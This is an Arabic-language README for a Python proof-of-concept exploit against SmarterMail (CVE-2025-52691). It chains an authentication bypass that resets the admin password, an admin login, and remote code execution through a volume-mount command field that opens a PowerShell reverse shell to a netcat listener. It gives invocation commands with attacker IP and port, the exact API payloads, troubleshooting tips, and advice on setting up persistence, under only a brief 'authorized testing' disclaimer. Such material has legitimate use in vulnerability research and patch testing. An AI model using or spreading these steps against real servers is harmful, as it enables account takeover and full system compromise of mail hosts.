
CVE-2025-52691 PoC: استنادًا إلى مقال watchtowr WT-2026-0001 حول استغلال تجاوز المصادقة، هذا سكربت هجوم Python عملي.
هذه الأداة مخصصة لاختبار الأمان المصرح به والأغراض التعليمية فقط!
يجمع هذا الاستغلال بين ثغرتين حرجتين في SmarterMail:
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
ينفذ الاستغلال هجومًا من 3 مراحل:
المرحلة 1: تجاوز المصادقة عبر WT-2026-0001
المرحلة 2: تسجيل دخول المسؤول بكلمة المرور الجديدة
المرحلة 3: تنفيذ التعليمات البرمجية عن بُعد عبر وظيفة Volume Mounts
# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# Install netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
# Python dependencies (if needed)
pip3 install requests
# Make executable
chmod +x run_exploit.sh
# Automated setup
./run_exploit.sh --auto
# Or interactive setup
./run_exploit.sh
# Setup listener (in one terminal)
nc -lvnp 4444
# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
تحديد الهدف
# Check target host
curl -I http://192.168.1.100:9998
# Identify SmarterMail version
# (Usually in login page or HTTP headers)
إعداد المستمع
# In Terminal 1: Start listener
nc -lvnp 4444
# The listener must be running before the exploit is executed
التحقق من الشبكة
# Ensure connection between attacker and target is possible
ping 192.168.1.100
nc -zv 192.168.1.100 9998
# With the runner script (recommended)
./run_exploit.sh
# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
الاتصال بالصدفة (Shell)
# In the listener terminal, a connection should now appear
# You should have a SYSTEM shell
التحقق من الوصول
# In the obtained shell
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
الوصول الدائم
# Optional: Set up persistence
# Windows: Install as service
# Linux: Cron job or systemd service
| المعلمة | الوصف | القيمة الافتراضية |
|---|---|---|
-H, --host | المضيف الهدف (مطلوب) | - |
-P, --port | منفذ الهدف | 9998 |
-A, --attacker-ip | عنوان IP للمهاجم للاتصال العكسي (مطلوب) | - |
-p, --attacker-port | منفذ المهاجم للاتصال العكسي (مطلوب) | - |
-d, --debug | تفعيل وضع التصحيح | False |
--admin-username | اسم مستخدم المسؤول | admin |
--new-password | كلمة مرور المسؤول الجديدة | NewPassword123!@# |
| المعلمة | الوصف |
|---|---|
-t, --target | المضيف الهدف |
-p, --port | منفذ الهدف |
-a, --attacker-ip | عنوان IP للمهاجم |
-l, --listener-port | منفذ المستمع |
-n, --new-password | كلمة مرور المسؤول الجديدة |
-u, --admin-user | اسم مستخدم المسؤول |
-d, --debug | وضع التصحيح |
--auto | الوضع الآلي |
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
./run_exploit.sh --auto
نقطة النهاية: POST /api/v1/auth/force-reset-password
الحمولة:
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
استجابة النجاح:
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
نقطة النهاية: POST /api/v1/auth/login
الحمولة:
{
"username": "admin",
"password": "NewPassword123!@#"
}
نقطة النهاية: POST /api/v1/settings/volume-mounts
الحمولة:
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998
# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444
# Error: "Login failed"
# Solution: Check target version (must be vulnerable)
# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system
فعّل وضع التصحيح للحصول على مخرجات مفصلة:
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
⚠️ تذكر: القوة العظيمة تأتي مع مسؤولية عظيمة!